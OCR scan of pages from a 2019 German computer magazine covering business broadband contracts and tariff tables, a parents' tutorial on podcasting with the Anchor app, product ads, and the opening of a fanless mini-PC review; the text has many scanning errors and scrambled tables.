Viele Verbraucherrechte gelten im Ge-
schiftsverkehr nicht, beispielsweise das 14-
tagige Widerrufsrecht. Aber auch die fiir
Privatkunden gesetzlich vorgeschriebenen
Produktinformationsblitter im PDF-For-
mat, die detaillierte Informationen tiber
das Produkt in iibersichtlicher Form auf
einer Seite enthalten, sucht man oft verge-
bens. Besonders listig sind vorausgewahlte
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Zusatzleistungen, die man im Bestellpro-
zess eigens abwihlen muss. Geschiftskun-
den miissen bei der Bestellung also deut-
lich besser aufpassen als Verbraucher.

Wihrend im Privatkundengeschaft
maximal zwei Jahre Vertragslaufzeit zu-
lassig sind, werden Geschéftskundenver-
trige mit einer Laufzeit von bis zu finf
Jahren angeboten. Das sollte man sich
trotz der damit in der Regel verbundenen
Rabatte gut iberlegen, denn der Markt ist
in Bewegung. Das Preisniveau in flinf Jah-
ren diirfte deutlich niedriger liegen als
heute. Auch fiir Geschiftskunden gibt es
Vertrage mit kurzer Laufzeit, mit denen
man sich die maximale Flexibilitat erhilt.

Wer einen Vertrag abschliefden will,
sollte den Bestellprozess einmal online
durchspielen, sofern der Provider das an-
bietet. Ein Anruf beim Anbieter ist die
deutlich schlechtere Variante, denn am
Telefon erhilt man viele wichtige Infor-
mationen nicht. Oft enthalten die Ange-
bote seitenweise Kleingedrucktes oder in-
teressante Optionen, die bei der Telefon-
beratung gerne untergehen.

Zu Beginn des Bestellprozesses liegt
die Verfiigbarkeitspriifung. Die Provider
wissen inzwischen sehr genau, an wel-
chem Anschluss sie welche Leistung lie-

fern konnen und unterbreiten dem Kun-
den anschliefdend nur tatsdchlich verfiig-
bare Leistungen. In weiteren Schritten
kann man dann Zusatzleistungen buchen
- die bei Geschiftskunden gerne einmal
vorausgewihlt sind und die der Kunde
manuell abwihlen muss.

Richtig wechseln

Falls Sie Ihren Anbieter wechseln wollen,
sollten Sie geniigend Vorlauf einplanen.
Priifen Sie zunichst, zu welchem Termin
Sie Thren derzeitigen Vertrag kiindigen
konnen und welche Fristen dafiir gelten.
Kiindigen Sie ihn aber keinesfalls selbst,
sondern stimmen Sie das mit dem neuen
Anbieter ab. Ublicherweise iibernimmt
der neue Anbieter die Kiindigung beim
alten und koordiniert bei dieser Gelegen-
heit die genauen Termine.

Gehen Sie einen Wechsel nicht zu
spét an, sonst riskieren Sie, ungewollt
noch einmal ein Jahr beim alten Anbieter
bleiben zu miissen oder - wenn Sie die
Kiindigung selbst vornehmen - mit dem
Wechsel einen lingeren Ausfall des An-
schlusses zu provozieren. Geben Sie dem
neuen Anbieter mindestens zwei Wochen
Zeit, die Kiindigung Thres Altanschlusses
gegentiber dem alten Anbieter auszuspre-
chen, idealerweise planen Sie dafiir vier
bis sechs Wochen ein.

Falls Thre VoIP-Telefonie tiber einen
separaten Anbieter lduft, ist dieser vom
Wechsel nicht betroffen. Wenn der jetzige
Provider jedoch Breitbandanschluss und
Telefonie bereitstellt, miissen Sie auch die
Portierung der Telefonnummer und eine
mogliche Umkonfiguration der Telefonan-
lage oder der IP-Telefone rechtzeitig be-
auftragen. Zwar konnen die Telefonnum-
mern und der Anschluss zu unterschied-
lichen Providern umziehen, das aber
erfordert eine sehr genaue Planung. Die
Kiindigung muss in diesem Fall vom neuen
VoIP-Anbieter ausgehen, sollte aber mit
dem neuen Breitbandanbieter abgestimmt
sein. Hier sollten Sie nochmals einige Wo-
chen zusitzlich einplanen, damit genug
Zeit fiir die Losung moglicher Probleme
beim Wechsel bleibt. (uma@ct.de) &

Wo Vodafone kein kabel-
gebundenes Internet per
TV-Kabel oder DSL
anbieten kann, soll der
Kunde auf LTE als letzten
Notnagel zuriickgreifen.

verfugbar.

[ Prifung erfolgreich!

An lhrer Adresse ist nicht DSL, sondern LTE
mit bis zu 21,6 Mbit/s fur Ihr Business

Ihre gepriifie Adresse:

c't 2019, Heft 2
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Breitband-Anschlisse flir Unternehmen

I S S £ S S

Tarif Business-Flat DSL 16 Business-Flat VDSL 50 Business-Flat VDSL 100 Glasfaser Business 500 Glasfaser Business 1000

URL dsl.1und1.de/business dsl.1und1.de/business dsl.1und1.de/business dsl.1und1.de/business dsl.1und1.de/business

Anschlussart ADSL VDSL Vectoring FTTH FTTH
g/l

Bandbreite Down- / Upstream MBit/s 16 /2,4 50/10 100/ 40 500/ 100 1000/ 200

Mindestbandbreite Down- / 0,8/0,06 16,7/1,6 54/1,6 500/ 100 1000/ 200

Upstream! MBit/s

Drosselung - - — - —

Servicezeiten fiir Entstérung 24 Stunden taglich 24 Stunden taglich 24 Stunden taglich 24 Stunden taglich 24 Stunden taglich

langste Entstordauer 8 Stunden nach Meldung 8 Stunden nach Meldung 8 Stunden nach Meldung 8 Stunden nach Meldung 8 Stunden nach Meldung

zugesagte Verfiigbarkeit 97 % 97 % 97 % 99,5 % 99,5 %

im Jahresmittel

feste IPv4-Adressen - - = — _
feste IPv6-Adressen - - — - _

Telefonanschlussart / gleichzeitige ~ VoIP /1/ 13 VolP/1/13 VolP/1/1° VolP/1/13 VolP/2/3
Gesprache/Rufnummern

L
Laufzeit / Verlangerung / Kiindigungs- 24 /12/3 24/12/3 24/12/3 24/12/3 24/12/3
frist (Monate)
glinstigste mitgelieferte Hardware VolP-Router, kostenlos VolP-Router, kostenlos VolP-Router, kostenlos VolP-Router, kostenlos VolIP-Router, kostenlos

o enomersoy
Einmalkosten abzgl. Ermagigungen? 275,70 € Gutschrift 204,30 € Gutschrift 204,30 € Gutschrift 904,40 € 1951,60 € Gutschrift
Internet-Anschluss, monatlich 41,64 € 41,64 € 4759 € 355,81 € 593,81 €
Telefonanschluss / Festnetz-Flat / inklusive / inklusive / — inklusive / inklusive / — inklusive / inklusive / — inklusive / inklusive / — inklusive / inklusive / —

Allnet-Flat monatlich

Breitband-Anschlisse flir Unternehmen

I S S S [ S

Tarif DeutschlandLAN IP Start Premium DeutschlandLAN [P Start Premium DeutschlandLAN IP Start Fiber 500  DeutschlandLAN IP Start Fiber 1000  Office Internet 50
URL geschaeftskunden.telekom.de geschaeftskunden.telekom.de geschaeftskunden.telekom.de geschaeftskunden.telekom.de www.unitymedia.de/business
Anschlussart VDSL Vectoring FTTH FTTH TV-Kabel
lsswen oo
Bandbreite Down- / Upstream MBit/s 50/ 10 (16 / 2,4) 100/ 40 (250 / 40) 500 /200 1000 / 500 50/5
Mindestbandbreite Down- / 279/2,7(6,3/0,7) 54 /20 (175 / 20) 400/ 160 700 / 400 S
Upstream! MBIit/s
Drosselung - — - — -
Servicezeiten fiir Entstérung 24 Stunden taglich 24 Stunden taglich 24 Stunden taglich 24 Stunden téglich Mo.-Sa. 8-20 Uhr
langste Entstérdauer 8 Stunden 8 Stunden 8 Stunden 8 Stunden 8 Stunden
zugesagte Verfiigbarkeit 97 % 97 % 97 % 97 % 99,5%
im Jahresmittel
feste IPv4-Adressen -8 -8 -8 -8 1
feste IPv6-Adressen -8 -8 -8 -8 k.A.
Telefonanschlussart / gleichzeitige VolP/2/3 VolP/2/3 VolP/2/3 VoIP/2/3 VolP/1/1
Gesprache/Rufnummern
Vespiondtorennd s ostewersiey
Laufzeit / Verléngerung / Kiindigungs- 24 /12 /1 24/12/1 24/12/1 24/12/1 24/-13
frist (Monate)
giinstigste mitgelieferte Hardware Router mit integrierter TK-Anlage, Router mit integrierter TK-Anlage, Router mit integrierter TK-Anlage, Router mit integrierter TK-Anlage, Fritzbox 6490, Leihgerét,
9,46 €/Monat 9,46 €/Monat 5,89 €/Monat 5,89 €/Monat kostenlos
 fasten (st Metmerttewsny
Einmalkosten abzgl. Ermagigungen? 193,07 € Gutschrift 193,07 € Gutschrift 7829 € 7829 € 452,32 € Gutschrift
Internet-Anschluss, monatlich 4754 € 65,39 € (77,29 €) 118,94 € 154,64 € 55,81 €
Telefonanschluss / Festnetz-Flat / v/ [ inklusive / — v/ [ inklusive / — v/ [ inklusive / — v/ [ inklusive / — inklusive / — / —

Allnet-Flat monatlich

! Datenrate am Anschluss des Kunden, Unterschreitung nur mit Zustimmung des Kunden 2bei Online-Bestellung, inklusive Hardware-Versand bei Zwangs-Hardware, Gebiihren-Gutschriften fiir bis zu zwei Jahre Erstlaufzeit
®Cloud-Telefonanlage mit 10 Leitungen und Endgeraten, zzgl. 11,84 €/Monat 71000 Minuten Festnetz und 200 Minuten Mobilfunk inklusive, Optionen mit gréReren Volumina verfiigbar

@@ sehrgut @ gut QO zufriedenstellend © schlecht ©O sehr schlecht  +/ vorhanden  — nicht vorhanden k. A. keine Angabe
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Business DSL Office Komplett Cloud Business DSL Office Komplett Trunk  my Office M my Office L VDSL Q-DSLmax
www.easybell.de/business www.easybell.de/business www.020nline.de/business www.02online.de/business www.plusnet.de www.plusnet.de
Vectoring Vectoring VDSL Vectoring Vectoring SHDSL.bis
100/ 40 100/ 40 50/10 100/ 40 100/ 40 20/20
individuelle Garantie individuelle Garantie 6/0,7 50/10 54 /20 15/15

24 Stunden taglich 24 Stunden taglich 24 Stunden taglich 24 Stunden taglich Mo.-Fr. 8-18 Uhr Mo.-Fr. 8-18 Uhr
Innerhalb 8 Stunden an Werktagen  Innerhalb 8 Stunden an Werktagen 8 Stunden 8 Stunden 24 Stunden 8 Stunden

97 % 97 % 98,5 % 98,5 % 97 % 98,9 %

1,5,95 €/Monat 1,5,95 €/Monat 1,3,99 €/Monat 1, 3,99 €/Monat 5, inklusive 5, inklusive
(geplant 2019) (geplant 2019) k.A. k.A. — -

VolP / 2 / durchwahlféhig VolP / 10 / durchwahlfahig VolP/1/1° VolP/1/13 - -

0/0/1 0/0/1 0/0/1 0/0/1 12-60/12/3 12-60/12/3

Fritzbox 7590, 189,21 € Fritzbox 7590, 189,21 € Fritzbox 7490, Leihgerdt, kostenlos  Fritzbox 7490, Leihgerat, kostenlos ~ Modem, Leihgerat, kostenlos Modem, Leihgert, kostenlos
59,44 € 59,44 € 59,98 € Gutschrift 59,98 € Gutschrift - -

47,54 €° 47,54 € 34,99 € 40 € 10591 € 41531 €

inklusive / inklusive / 5 €/Monat  inklusive / — / = inklusive / inklusive / inklusive inklusive / inklusive / inklusive = -

und Anschluss

N S S S S S

Office Internet 200 Office Internet 400 Red Internet Business 200 Cable  Red Internet Business 400 Cable  Red Internet Business 500 Cable ~ Red Internet Business 1000 Cable

www.unitymedia.de/ www.unitymedia.de/ www.vodafone.de/ www.vodafone.de/ www.vodafone.de/ www.vodafone.de/

business business business business business business

TV-Kabel TV-Kabel TV-Kabel TV-Kabel TV-Kabel TV-Kabel

200/ 15 400/25 200/ 25 (50 fiir 2,99 €/Monat) 400 / 25 (50 fiir 2,99 €/Monat) 500/ 50 1000 /50

Mo.-Sa. 8-20 Uhr Mo.-Sa. 8-20 Uhr Mo.-Fr. 8-22 Uhr, Sa. 8-16 Uhr Mo.-Fr. 8-22 Uhr, Sa. 8-16 Uhr Mo.-Fr. 8-22 Uhr, Sa. 8-16 Uhr Mo.-Fr. 8-22 Uhr, Sa. 8-16 Uhr

8 Stunden 8 Stunden 12 Stunden innerhalb der 12 Stunden innerhalb der 12 Stunden innerhalb der 12 Stunden innerhalb der
Senvicezeit Senvicezeit Semicezeit Sewvicezeit

99,5 % 99,5 % 98,5 % 98,5 % 98,5 % 98,5 %

1, optional 5 1, optional 5 1 fiir 5,95 €/Monat 1 fiir 5,95 €/Monat 1 fiir 5,95 €/Monat 1 fiir 5,95 €/Monat

k.A. k.A. /56-Prafix, nur zus. mit IPv4- /56-Préfix, nur zus. mit IPv4- /56-Préfix, nur zus. mit IPv4- /56-Prafix, nur zus. mit IPv4-
Adresse Adresse Adresse Adresse

VolP/1/1 VolP/1/1 VoIP /4 /4 optional VolP /4 / 4 optional VoIP /4 / 4 optional o

24/—1/3 24/—1/3 24/12/3 24/12/3 24/12/3 24/12/3

Fritzbox 6490, Leihgerat, kostenlos  Fritzbox 6490, Leihgerat, kostenlos ~ WLAN-Kabelrouter, kostenlos WLAN-Kabelrouter, kostenlos WLAN-Kabelrouter, kostenlos WLAN-Kabelrouter, kostenlos

833 € Gutschrift 571,20 € Gutschrift 192,05 € Gutschrift 265,61 € Gutschrift 337,01 € Gutschrift 622,61 € Gutschrift
67,71 € 97,46 € 41,64 € 47,59 € 53,54 € 1134 €
inklusive / — / — inklusive / — / — 5,95 € /inklusive / 9,99 € 5,95 € /inklusive / 9,99 € 5,95 € / inklusive / 9,99 € =

mehr Rufnummern und mehr gleichzeitige Gespréche gegen Aufpreis  *Wechsel zu einem anderen Tarif erforderlich SErhdhung um 41,65 € nach 24 Monaten
8in hoherwertigen Tarifen verfiigbar
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Audio kurzen

° Speichern

02:02

Mobiles Studio

Ganz einfach Podcasts machen

mit dem Handy

Mit der App ,Anchor” wird das
Smartphone zum Aufnahmestudio.
Anhand unserer Anleitung kénnen
Sie ohne viel Aufwand die Welt der
Audio-Podcasts erkunden und
ruckzuck selbst etwas
veroffentlichen.

Von Brigitte Hagedorn

in Podcast ist immer eine Serie aus

mehreren Folgen, den sogenannten
Episoden. Die konnen wie eine Radiosen-
dung aufgebaut sein oder eher wie ein
Horspiel. Vielleicht haben Sie und Ihr
Kind ein Hobby, von dem Sie gemeinsam
erzahlen wollen, oder der nachste Urlaub
steht bevor und sie mochten die Horer mit
auf die Reise nehmen. Thr Podcast konnte
dann ein akustisches Reisetagebuch wer-
den, mit Berichten von Erlebnissen und
Sehenswiirdigkeiten, interessanten Be-
gegnungen und lokalen Spezialititen. Am
besten entwerfen Sie mit Threr Tochter

106 WO

oder Threm Sohn zusammen ein richtiges
kleines Drehbuch. So fallen Sie sich spéter
bei der Aufnahme nicht ins Wort.

Im App Store von Apple finden Sie
unter dem Namen ,,Anchor” eine kosten-
lose App, mit der der Einstieg ins Podcas-
ten leicht gelingt. Das Gegenstiick in Goo-
gles Play Store heifst ,,Anchor - Versuch
Dich als Podcaster. Laden Sie eine der bei-
den Apps herunter und registrieren Sie
sich. Das funktioniert mit dem Facebook-
Konto oder mit einer E-Mail-Adresse. Es
ist zwar bequem, die Login-Daten nicht fiir
jeden Account neu festzulegen, doch siche-
rer ist das Anlegen neuer Zugangsdaten.

Mit den Registrierungsdaten konnen
Sie sich sowohl in der App als auch unter
https://anchor.fm anmelden und direkt
loslegen; auf die Unterschiede zwischen
Apps und Webanwendung gehen wir wei-
ter unten ein. Fiirs erste Kennenlernen
und fiir Thre Audio-Aufnahmen verwen-
den Sie am besten eine der Apps.

Wenn Sie in der Anchor-App auf das
Pluszeichen am unteren Bildschirmrand
des Telefons und dann im néchsten Fens-
ter auf das Mikrofon tippen, ist alles bereit

fiir die Aufnahme. Alternativ halten Sie
das Smartphone einfach wie zum Telefo-
nieren ans Ohr - die App wertet den Lage-
sensor des Mobilgerits aus und schaltet
auf Aufnahme. Mehr Vorbereitungen
braucht es eigentlich nicht - Sie konnten
nun direkt losreden. Vorher sollten Sie sich
aber in Ruhe Gedanken dariiber machen,
was Sie aufnehmen mochten und fiir wel-
che Ohren Thr Podcast bestimmt sein soll.
Ganz gleich, was Sie inhaltlich planen - die
Horer konnen einem strukturierten Inhalt
besser folgen als einem Podcast, dessen
Macher einfach drauflosquatschen.

Vorbereitung ist die

halbe Miete

Wenn das Drehbuch steht, starten Sie die
App. Zum Aufnehmen tippen Sie auf den
lila Knopf mit dem Pluszeichen, anschlie-
8end auf den roten Mikrofon-Knopf. So
konnen Sie beliebig viele Aufnahmen an-
fertigen. Alle Audio-Schnipsel speichert
Anchor als ,,Segmente” in der Bibliothek,
die Sie iiber den gleichnamigen Button am
unteren Bildschirmrand erreichen.

Segmente lassen sich nachtraglich
kiirzen, mit Musik hinterlegen und umbe-
nennen. Die Werkzeuge dafiir erreichen
Sie iber die drei Punkte rechts neben dem
Segment-Titel. Die App vergibt automa-
tisch fiir jedes Segment einen Titel, der
sich aus Datum und Zeitpunkt der Auf-
nahme zusammensetzt. Daher ist es sinn-
voll, die Segmente umzubenennen. So be-
halten Sie den Uberblick.

Es kann leicht passieren, dass uner-
wiinschte Gerdusche in der Aufhahme lan-
den - beispielsweise ein verlegenes ,,Ahm"
oder Rauspern zu Beginn. Das kann man
nachtraglich entfernen. Die App bringt
dazu lediglich ganz simple, dafiir aber
leicht bedienbare Schneidwerkzeuge mit.
Dabei gibt es kleine Unterschiede zwi-
schen der i0S- und der Android-App: Die
Variante fiirs iPhone bietet Schneiden und
Teilen - in der Android-App steht nur die
Teilen-Funktion zur Verfligung.

Tippen Sie zum Trimmen eines Seg-
ments auf die drei Punkte rechts. In der
10S-App wihlen Sie anschliefdend am bes-
ten das Scherensymbol zum Schneiden. Es
fithrt zu einer Signalkurve mit einem grii-
nen Start- und einen roten Ende-Marker,
die sich mit dem Finger verschieben las-
sen. Den Startmarker bewegen Sie nun
genau an die Stelle, an der die Wiedergabe
starten soll - also etwa nach dem anféng-
lichen ,,Ahm“. Mit einem Tipp auf ,,Spei-
chern oben rechts wihlen Sie den Bereich
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zwischen Start- und Ende-Marker aus und
verwerfen den Rest der Aufnahme.

In der Android-App wihlen Sie im
Werkzeug-Menti den Punkt ,,Audio bear-
beiten” und gelangen zur Teilen-Funktion.
In der Signalkurve sehen Sie hier nur
einen (schwarzen) Marker. Damit lassen
sich Segmente in zwei Teile zerlegen. So
kann man auch hier ein ,,Ahm“ am An-
fang abschneiden: das neu angelegte Seg-
ment mit dem vorderen Teil der Aufnah-
me loschen Sie anschlief3end.

In beiden App-Varianten konnen Sie
mit Daumen und Zeigefinger in die Sig-
nalkurve hineinzoomen. Uber den Ab-
spielpfeil rechts oben lésst sich die nach-
bearbeitete Aufnahme probehoren.

Die erste Episode entsteht
Nach und nach fiillt sich die Bibliothek mit
Thren Aufnahmen. Zusitzlich lassen sich
Audiodateien importieren: Vielleicht
haben Sie auf einem Konzert einen tosen-
den Applaus mitgeschnitten und wollen
diesen in Thre nichste Podcastfolge inte-
grieren. Suchen Sie aus der App heraus
nach der Aufnahme auf Threm Smartphone
und wihlen Sie die Audiodatei mit einem
Klick aus. Sie erscheint unter dem ur-
spriinglichen Titel als weiteres Segment in
Threr Bibliothek. Thr Kind kann also selbst-
stindig Aufnahmen machen und spéter
bauen Sie die Episode gemeinsam zusam-
men. Falls noch ein kurzer Audio-Effekt
fehlt, finden Sie das Gewiinschte vielleicht
im Fundus von Anchor - stobern Sie dazu
im rosafarbenen Bereich ,,Zwischenpro-
gramm" oder im tlirkis gehaltenen Bereich
»Gerdusche®. Hier gibt es allerlei Klingeln,
Gongs, Bongos und Geridusche wie split-
terndes Glas oder muhende Kiihe.

Um alles zusammenzubauen wech-
seln Sie tiber ,,Dein Podcast” am unteren
Bildschirmrand in die Episoden-Ansicht,
ordnen die Segmente und entfernen tiber-
fliissige Aufnahmen. Horen Sie sich ihr
Werk noch mal in Ruhe an. Wenn alles
passt, klicken Sie oben rechts auf ,Verof-
fentlichen®. Sie haben nun noch die Mog-
lichkeit, einen Titel und eine Beschreibung
ihrer Episode hinzuzufiigen. Dann kénnen
Sie die neue Folge ins Web schicken.

Jetzt wird es ernst

Solange Thre Episode noch nicht verdffent-
licht wurde, kann sie aufder Thnen selbst
niemand anhdren. Damit potenzielle
Horer Thren Podcast finden, muss er im
Web an den richtigen Stellen verfiigbar
sein. Anchor bietet dazu die Option ,,Uber-
all veroffentlichen® - darliber erreichen
Sie, dass Ihr Podcast nach ein paar Tagen
bei Apple Podcasts, Castbox, Google Pod-
casts, Overcast, PocketCasts, Podbean,
RadioPublic, Spotify, Stitcher und Tuneln
verfiigbar ist. Die Liste der Podcastver-
zeichnisse und/oder Podcatcher, bei
denen Anchor Ihre Sendung hochladt,
wird laut Hersteller stetig ergénzt.

Sie konnen die Verzeichnisse, in
denen Thr Podcast verfiigbar ist, auch frei
wihlen oder selbststindig weitere Ver-
zeichnisse ergdnzen, beispielsweise das
grofde deutsche Podcastverzeichnis Pod-
cast.de. Dazu benétigen Sie den sogenann-
ten RSS-Feed Thres Podcasts. RSS steht fiir
Really Simple Syndication (,wirklich ein-
fache Verbreitung"); das RSS-Format dient
zur Bereitstellung von Podcast-Dateien.
Die Entscheidung, wo Sie veroffentlichen,
ist nur beim Podcaststart zu treffen, alle
weiteren Episoden werden bei allen aus-

L

Create your episode

° Fintaitung o
° BagriBung Mirlam
° Antwort Miriam o

€ Clich 1o upioad or drop sudio hers

° Einksitung

86 West

° LFenge

Total Length: 49s

In der Anchor-Webanwendung lassen sich Episoden leicht aus fertigen
Segmenten zusammenstellen und dann veroffentlichen.
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Der c't-Tipp flr
Kinder und Eltern

Audio-Podcasts produzieren und
veroffentlichen

= Smartphone oder iPad, optional
PC und Headset, auBerdem App
L~Anchor” (i0OS) beziehungsweise
.Anchor - Versuch Dich als Pod-
caster” (Android), beide Apps
verlangen eine Registrierung mit
E-Mail-Adresse

& Grundlegende Kenntnisse im Um-
gang mit Mobilgerat und Browser

@ Vorbereitungszeit etwa 1 Stunde,
ein kurzer Podcast ist dann in 30
bis 45 Minuten fertig

6 Jugendliche legen allein los,
Kinder werden durch Eltern oder
altere Geschwister unterstutzt.
Wichtig: Eltern sollten das Verof-
fentlichen und das Verbreiten bei
iTunes & Co. Uibernehmen.

[@] kostenlos

gewihlten Anbietern/Plattformen auto-
matisch zu horen sein.

Beim Veroffentlichen erfahren Sie mit
einem Klick auf ,,Tippe hier, um deinen
RSS-Feed zu kopieren®, wie dieser lautet.
Spiter finden sie diese Information nur
noch in der Webanwendung auf
https://anchor.fm. Wihlen Sie hier ,,Set-
tings“ in der Mentileiste am oberen Bild-
schirmrand und scrollen Sie ganz nach
unten. Hinter dem kleinen schwarzen
Dreieck von ,,Advanced* versteckt sich
der RSS-Feed und sieht ungefihr so aus:
https://anchor.fm/s/123xyz/podcast/rss.

Anchor im Web

Die Anchor-Webanwendung dient als eine
Art Schaltzentrale. Zum Aufnehmen eig-
nen sich die Apps besser, weil hier ganz
unkompliziert Audiodateien in recht guter
Qualitét entstehen. Im Browser finden Sie
dagegen mehr Verwaltungswerkzeuge.
Eine Statistik gibt Auskunft dartiber, wie
oft eine Podcastfolge gehort wurde und
wo - iiber Anchor oder tiber andere Platt-
formen.

In der Start-Ansicht der Webanwen-
dung gibt es rechts die Moglichkeit, den
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O %y @ 1324

Bibliothek

Alle Audicinhalte, die Sie jemals in
Anchor erstellt oder hochgeladen haben.

Importieren

Pauls Hobby
Discgolf

° BegriBung

Vorstellung von
| & Paul

' i

Bibliothek

Aufnehmen

In der Bibliothek sehen Sie alle
aufgenommenen Audioschnipsel,
die sogenannten Segmente.

Podcast tiber Twitter oder Facebook zu tei-
len. Hier finden Sie auch eine URL, iiber
die - zum Beispiel per E-Mail - auf die Pod-
castseite bei Anchor gefiihrt werden kann,
sowie einen Einbettungscode. Vielleicht
ist der Podcast ein Schulprojekt, dann
kann dieser Code auf der Website der
Schule eingebunden werden. Falls Sie
bereits Podcasts mit einem Audioschnitt-
programm wie Audacity produziert haben,
konnen Sie diese hier hochladen. Alle Sen-
dungen konnen bei Bedarf in der Weban-
wendung noch nachbearbeitet werden.
Podcasts sind auch eine Moglichkeit,
um im Internet miteinander ins Gesprach
zu kommen. Mit Anchor ist man dafiir
bestens geriistet. Wenn Sie oder IThr Kind
zu einem in Anchor verfiigbaren Podcast
etwas sagen mochten, so konnen sie in der
App Sprachnachrichten an den Podcaster
schicken. Tippen Sie dazu auf den ,,Nach-
richt“-Knopf neben dem Podcastcover.
Falls Sie selbst eine Nachricht zu einer
Threr Podcastfolgen bekommen, konnen
Sie diese wiederum veroffentlichen: Man
kann Nachrichten in Anchor entweder an
die kommentierte Episode anhdngen oder
in eine neue Folge integrieren. Starten Sie
dazu eine Aufnahme, beginnen Sie wie ge-
wohnt mit einer BegriifSung und erklaren
Sie dann, dass es einen interessanten
Kommentar zur letzten Folge gegeben
habe. Das speichern Sie als Segment, dem
Sie die eingegangene Nachricht hinzufi-
gen. Vielleicht mochten Sie den Kommen-
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X Gerausche Importieren

Instrumente

° Bongos

Orchestra
Warmup

° Trumpet Whomp

wischenprogramr  Gerdusche

Anchor bringt allerlei Gerdausche
mit, die in die eigene Produktion
importiert werden kénnen.

tar noch ergéinzen, ansonsten sprechen
Sie nur noch eine Verabschiedung auf'und
veroffentlichen das Ganze als neue Pod-
castfolge - schnell gemachter, unterhalt-
samer Inhalt.

So kommt lhr Podcast gut an
Das Tolle an einem Podcast ist, dass die
Horerinnen und Horer ihn abonnieren
konnen, um keine Episode zu verpassen.
Das geht mithilfe des RSS-Feeds, den An-
chor automatisch erstellt, sobald Sie einen
Podcast veroffentlichen. Thre Horer kon-
nen ihn tiber die Anchor-App oder tiber
eine beliebige Podcast-App ihrer Wahl an-
horen und abonnieren - empfehlenswerte
Apps dieser Art haben wir in ¢’t 4/2018
getestet [1].

Wenn Sie ernsthaft ins Podcasten ein-
steigen, mochten Sie moglichst viele
Horer haben. Dann ist es gut, gleich in der
ersten Episode zu sagen, was auf diesem
Kanal in der ndchsten Zeit zu erwarten ist.
Das erhoht die Chance, dass die Horer
den Podcast direkt abonnieren, um auf
dem Laufenden zu bleiben.

Auflerdem sollten Sie Thre Produktion
mit einem attraktiven Cover und allen no-
tigen Informationen versehen. Unter
»Dein Podcast® ergénzen Sie vor der Ver-
offentlichung das Cover und eine allgemei-
ne Beschreibung. Hier konnen Sie auch
Sprache und Kategorien auswihlen und
etwas liber das Produktionsteam sagen.
Insbesondere ein Podcastcover ist sinnvoll,

wenn das Werk in bekannten Podcastver-
zeichnissen wie iTunes oder Spotify optisch
etwas hermachen soll. Es ist ein Wiederer-
kennungszeichen, das den Horern hilft, in
der Vielzahl der abonnierten Podcasts den
gewiinschten schnell zu finden.

Blick in die Zukunft

Anchor FM hat sich nach eigenen Angaben
zum Ziel gesetzt, Podcasting zu demokra-
tisieren. Das Hosten der Podcasts soll dau-
erhaft kostenlos angeboten werden. Das
ist ein hehres Ziel, doch ,,sehr bald“, so
Mitbegriinder und technischer Leiter Nir
Zicherman, werde Anchor Funktionen
einflihren, die es Podcastern erlauben, mit
den eigenen Produktionen Geld zu verdie-
nen. Einen kleinen Teil dieser Einnahmen
will der Anbieter dann einbehalten. Als
Nutzer erhalten Sie daher ab und an eine
Aufforderung zum Veroffentlichen Threr
Aufnahmen.

Technisch werden sich Apps und Web-
anwendung sicher noch weiterentwickeln
- es ist zu hoffen, dass die Funktionen der
unterschiedlichen Versionen sich anglei-
chen; aktuell 1auft die 10S-Version etwas
stabiler als die Android-App und bietet
mehr Werkzeuge. Wihrend die Oberfla-
chen der Apps mehr oder weniger ins Deut-
sche tibertragen sind, gibt es die Weban-
wendung aktuell nur in englischer Sprache.

Weil die weitere Entwicklung von An-
chor noch nicht absehbar ist, sollten Sie
Ihre bereits produzierten Folgen aufder-
halb von Anchor sichern. Je nachdem, wie
sich App und Dienst weiterentwickeln,
mochten Sie vielleicht nicht mehr dabei
sein. Zum Sichern verwenden Sie die
Webanwendung. Rechts sehen Sie alle
verdffentlichten Folgen. Uber die drei
Punkte neben einem Episodentitel errei-
chen Sie ein Auswahlmenii und tber
»Download to desktop“ konnen Sie die
Episode im Format .m4a auf der Festplat-
te speichern.

Fiir jiingere Kinder spielt das Verof-
fentlichen vielleicht keine Rolle - dann ist
die Anchor-App einfach eine tolle Mog-
lichkeit, erste kleine Horspiele zu produ-
zieren und mit Freunden und Verwandten
zu teilen. Fiir Jugendliche bietet Anchor
einen leichten Einstieg ins Podcasten.
Und vielleicht springt am Ende noch ein
Taschengeld dabei heraus.(dwi@ct.de) €&

Literatur

[1] Lea Lang, Horizonterweiterung zum Mitnehmen,
Podcast-Apps fiir Android und iOS, c't 4/2018,
S. 126
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NAS-Server DiskStation DS918+

Leistungsstark und skalierbar -
NAS mit 4 Einschiiben

Das DS918+ ist mit einem neuen Quad-Core-Prozessor
ausgestattet und liefert herausragende Leistung und
beschleunigte Datenverschilisselung sowie Echtzeit-
Transkodierung von 4K Ultra-HD-Inhalten.

& flr 4 SSD/HDD Festplattenspeicher (optional)
& 2 x 1GbE-LAN Netzwerkschnittstelle

& Quad-Core-Prozessor mit AES-NI-
Hardware-Verschllsselungsmodul

& dedizierte M.2 NVMe SSD-Steckplatze
fir SSD-System-Cache

Bestell-Nr.: SYNOLOGY DS918+
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Easy-Connect-Doppelpack homematic (3] DA VINCI NANO

Starter-Set ,Heizen" Der ideale 3D Drucker m XYZPRINTING
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Test | Liifterlose Mini-PCs

Gemini-Terzett

Drei lautlose Mini-PCs mit Intel

Celeron J/N4OOO

Liifterlose Rechenzwerge mit Intels
aktuellen Gemini-Lake-Chips gibts
in groBer Auswahl. Drei Neulinge
von Shuttle und Zotac bieten
Besonderheiten wie extrem kleine
Bauform, zwei Ethernet-Ports oder
Platz fiir ein LTE-Modem.

Von Christof Windeck

rozessoren der Intel-Familie Gemini

Lake sind zwar nicht schnell, aber bil-
lig und sparsam. Auflerdem steuern sie
4K-Displays an und spielen 4K-Videos
fliissig ab. Damit eignen sie sich fiir ein-
fache Biiroaufgaben, fiir Videostreaming
und fiir sparsame Selbstbau-Server. Die
lifterlosen Mini-PCs Shuttle XPS Slim
DL10J, Zotac Zbox CI329 nano und PI335
pico Gemini Lake zeigen, wie unterschied-
lich sich die Intel-Chips nutzen lassen.

Jedes der drei Systeme hat besondere
Vor- und Nachteile. Die Zbox PI335 pico
ist vor allem winzig, folglich zahlt man
einen Schnuckel-Aufschlag und muss mit
Abstrichen bei Rechenleistung, Anzahl

110 EO

der Anschliisse, Massenspeicher und
RAM-Kapazitit leben. Die Zbox CI329
glianzt hingegen mit zwei Gigabit-Ether-
net-Buchsen, was sie flir den Einsatz als
Open-Source-Firewall oder Router pra-
destiniert. Aufderdem steuert sie zwei 4K-
Displays mit 60 Hertz an. Shuttle wieder-
um zielt mit dem XPC slim DL10]J auch
auf Firmenkunden: Mit VGA- und RS-232-
